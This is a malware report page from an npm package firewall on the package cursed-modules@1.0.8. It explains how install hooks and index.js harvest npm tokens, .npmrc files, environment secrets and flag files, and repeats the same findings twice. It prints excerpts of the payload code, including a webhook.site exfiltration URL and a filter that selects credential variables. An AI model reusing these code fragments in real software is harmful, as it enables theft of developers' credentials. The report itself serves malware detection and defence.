Loading npm security reports…

cursed-modules@1.0.8: Malicious npm security report (Block) | LPM Firewall

registry / cursed-modules / 1.0.8

cursed-modules@1.0.8

Database interface for cursed ecto-modules

AI Security Review

scanned 21d ago · by lpm-firewall-ai

The package runs a malicious Node payload at install time and import time. It harvests npm credentials, environment secrets, flag files, host/network metadata, and exfiltrates them to a webhook and local module APIs.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm lifecycle install hooks or requiring the package main index.js

Impact

Disclosure of npm tokens, .npmrc contents, environment secrets, challenge flags, and local service metadata; possible mutation of local module records containing stolen data.

Mechanism

credential and file harvesting with webhook/local API exfiltration

Attack narrative

On install, package.json runs install.js in all lifecycle phases; requiring the package runs index.js. The payload fingerprints for challenge-like containers, gathers npm tokens, .npmrc files, selected environment variables, flag files, host/network data, and listening ports, then posts the data to a webhook and embeds it in local API module manifests.

Rationale

Direct source inspection confirms concrete unconsented credential/file harvesting and exfiltration reachable from install hooks and the main entrypoint. The challenge-container gate does not reduce maliciousness because the payload specifically targets secrets and local services when conditions match.

Evidence

package.jsoninstall.jsindex.js/root/.npmrc/usr/lib/node_modules/npm/.npmrc/app/.npmrc/home/node/.npmrc/etc/hosts/app/.bowerrc/flag/flag.txt/root/flag.txt

Source & flagged code

11 flagged · loading source

package.jsonView file

•scripts.postinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L1

1const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

install.jsView file

1Trigger-reachable chain: scripts.preinstall -> install.js L1: const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

install.jsView on unpkg · L1

publish-and-arm.shView file

•path = publish-and-arm.sh kind = build_helper sizeBytes = 1039 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish-and-arm.shView on unpkg

cursed-modules-999.0.1.tgzView file

•path = cursed-modules-999.0.1.tgz kind = high_entropy_blob sizeBytes = 8672 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

cursed-modules-999.0.1.tgzView on unpkg

•path = cursed-modules-999.0.1.tgz kind = compressed_blob sizeBytes = 8672 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

cursed-modules-999.0.1.tgzView on unpkg

•path = cursed-modules-999.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 8672 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

cursed-modules-999.0.1.tgzView on unpkg

Source & flagged code

11 flagged

package.jsonView file

•scripts.postinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L1

1const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

install.jsView file

1Trigger-reachable chain: scripts.preinstall -> install.js L1: const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

install.jsView on unpkg · L1

publish-and-arm.shView file

•path = publish-and-arm.sh kind = build_helper sizeBytes = 1039 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish-and-arm.shView on unpkg

cursed-modules-999.0.1.tgzView file

•path = cursed-modules-999.0.1.tgz kind = high_entropy_blob sizeBytes = 8672 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

cursed-modules-999.0.1.tgzView on unpkg

•path = cursed-modules-999.0.1.tgz kind = compressed_blob sizeBytes = 8672 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

cursed-modules-999.0.1.tgzView on unpkg

•path = cursed-modules-999.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 8672 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

cursed-modules-999.0.1.tgzView on unpkg